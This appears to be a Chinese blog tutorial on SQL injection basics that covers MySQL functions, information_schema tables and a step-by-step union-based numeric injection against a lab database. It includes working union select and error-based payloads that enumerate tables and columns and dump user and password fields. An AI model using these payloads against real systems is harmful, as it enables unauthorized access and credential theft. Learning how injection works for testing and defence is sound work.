欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

sql注入基础

程序员文章站 2022-11-20 15:54:16
附:sql语句增: INSERT INTO table name (列1,列2)VALUES(值1,值2);删:DELETE FROM 表名 WHERE 列名=值;改:UPDATE 表名 SET 列名=新值 WHERE 列名=某值;查:SELECT 列名 FROM 表名 WHERE 字段1='条件1' AND 字段2='条件2' ;常用函数及命令关键字user() //查看当前用户名limit m,n //从m行开始,到m+n行rand()//...

附:sql语句

增: INSERT INTO table name (列1,列2)VALUES(值1,值2);
删:DELETE FROM 表名 WHERE 列名=值;
改:UPDATE 表名 SET 列名=新值 WHERE 列名=某值;
查:SELECT 列名 FROM 表名 WHERE 字段1='条件1' AND 字段2='条件2' ;

常用函数及命令关键字

user()       				//查看当前用户名	
limit m,n  					//从m行开始,到m+n行
rand()						//返回0-1随机数
group by 					//对数据进行分组(相同为一组)
database()  				//查看当前使用mysql数据库
version() 					//查看当前MySQL版本
MID('xxx',1,2)				//截取函数:截取xxx从第一位开始截2


floor()						//报错函数 返回小于等于该值的最大整数
exp(~(select * from (select version() ) a)         //报错注入

Mysql 基础知识

数据库:information_schema(存放数据库元信息)
	其中三张常用的表
	schemata (存放数据库名)
	tables	(存放表名)
	columns(存放字段名)
schemata表:
	schema_name字段用来存储数据库名
tables表:
	table_schema(数据库名)
	table_name(表名)
columns表:
	table_schema(数据库名)
	table_name(表名)
	column_name(字段名)

下图为三张表示例

schemata

sql注入基础

tables

sql注入基础

columns

sql注入基础

sql注入

当有不可信数据作为查询语句的一部分发送给解释器时,攻击者的恶意数据欺骗解释器以执行计划外的命令或访问数据。

一、联合查询-数字型注入

如下图所示:下面演示通过联合查询的方法从jokedb数据库中读取user表的信息

sql注入基础

通过输入id值1,2可以看出页面有回显(显示不同内容)可以尝试使用联合查询的方法进行注入

sql注入基础
sql注入基础

输入单引号页面出现报错 根据报错信息提示该注入为数字型注入

sql注入基础

通过order by 根据回显查询数据库中表的字段数
由下图可知当输入4时回显正常输入5时出现报错
可知当前表的字段数为4

sql注入基础
sql注入基础

通过union select 联合查询 使用占位数字列出当前字段

sql注入基础

使用函数version(),database()替换占位数字
回显出数据库版本信息和名称 可判断该处存在sql注入点

sql注入基础

使用查询语句查询当前数据库下所有的表
union select 1,2,3,table_name from information_schema.tables where table_schema =database()

sql注入基础

找到可能出先所需要的数据的user表列出该表下的所有字段
union select 1,2,3,column_name from information_schema.columns where table_schema ='jokedb' and table_name='users'

sql注入基础

找到user和pass字段 通过查询语句显示其内容
union select 1,user,3,pass from users

sql注入基础

本文地址:https://blog.csdn.net/Jaasenyi/article/details/107652805